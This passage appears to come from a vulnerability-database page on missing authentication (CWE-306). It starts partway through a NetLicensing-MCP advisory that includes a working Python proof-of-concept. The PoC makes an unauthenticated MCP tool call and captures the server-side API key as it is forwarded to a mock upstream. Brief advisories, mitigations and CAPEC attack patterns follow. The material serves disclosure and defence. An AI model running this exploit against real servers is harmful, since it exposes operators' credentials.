base64\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# \u2500\u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nMOCK_PORT = 19090\nMCP_PORT = 18181\nSERVER_API_KEY = \"SERVERSECRET\" # simulated operator secret injected via env var\n\n# \u2500\u2500\u2500 Mock upstream NetLicensing REST API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ncaptured_requests: list[dict] = []\nmock_ready = threading.Event()\n\n\nclass MockUpstreamHandler(BaseHTTPRequestHandler):\n def _handle(self):\n auth = self.headers.get(\"Authorization\", \"\u003cnone\u003e\")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\n\ndef _run_mock(port: int) -\u003e None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n\n# \u2500\u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef _decode_basic(header: str) -\u003e str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -\u003e bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n async with httpx.AsyncClient() as c:\n r = await c.get(f\"http://{host}:{port}/health\", timeout=1)\n if r.status_code \u003c 500:\n return True\n except Exception:\n pass\n await asyncio.sleep(0.4)\n return False\n\n\n# \u2500\u2500\u2500 PoC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nasync def main() -\u003e None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding \u2014 waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n await asyncio.sleep(0.5)\n\n # 4. Evaluate captured evidence\n print(\"\\n\" + \"=\" * 70, flush=True)\n print(\"CAPTURED UPSTREAM REQUESTS:\", flush=True)\n for req in captured_requests:\n print(f\" {req[\u0027method\u0027]} {req[\u0027path\u0027]}\", flush=True)\n print(f\" Authorization: {req[\u0027authorization\u0027]}\", flush=True)\n decoded = _decode_basic(req[\"authorization\"])\n if decoded:\n print(f\" Decoded: {decoded}\", flush=True)\n print(\"=\" * 70, flush=True)\n\n # 5. Verdict\n server_key_leaked = any(\n SERVER_API_KEY in (_decode_basic(r[\"authorization\"]) or \"\")\n for r in captured_requests\n )\n\n if server_key_leaked:\n print(\n f\"\\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to \"\n f\"forward its own NETLICENSING_API_KEY=\u0027{SERVER_API_KEY}\u0027 to the upstream \"\n f\"NetLicensing API. CWE-306 / VULN-001 reproduced.\",\n flush=True,\n )\n sys.exit(0)\n elif not captured_requests:\n print(\n \"\\n[FAIL] No upstream requests captured \u2014 the MCP tool call did not \"\n \"reach the upstream API.\",\n flush=True,\n )\n sys.exit(2)\n else:\n print(\n \"\\n[FAIL] Upstream requests captured but server API key not found in \"\n \"Authorization headers.\",\n flush=True,\n )\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```",
  "id": "GHSA-x9vc-9ffq-p3gj",
  "modified": "2026-07-14T20:47:19Z",
  "published": "2026-07-14T20:47:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Labs64/NetLicensing-MCP"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode"
}

GHSA-XC38-XCG4-VM4H

Vulnerability from github – Published: 2026-01-07 12:31 – Updated: 2026-01-07 12:31
VLAI
Details

Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.

Severity
2.9 (Low)
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-31963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-07T12:17:01Z",
    "severity": "LOW"
  },
  "details": "Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.",
  "id": "GHSA-xc38-xcg4-vm4h",
  "modified": "2026-01-07T12:31:23Z",
  "published": "2026-01-07T12:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31963"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0127753"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XC4Q-WVJC-4V56

Vulnerability from github – Published: 2024-10-11 15:30 – Updated: 2024-10-11 15:30
VLAI
Details

An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T13:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches.",
  "id": "GHSA-xc4q-wvjc-4v56",
  "modified": "2024-10-11T15:30:32Z",
  "published": "2024-10-11T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9164"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2711204"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/493946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list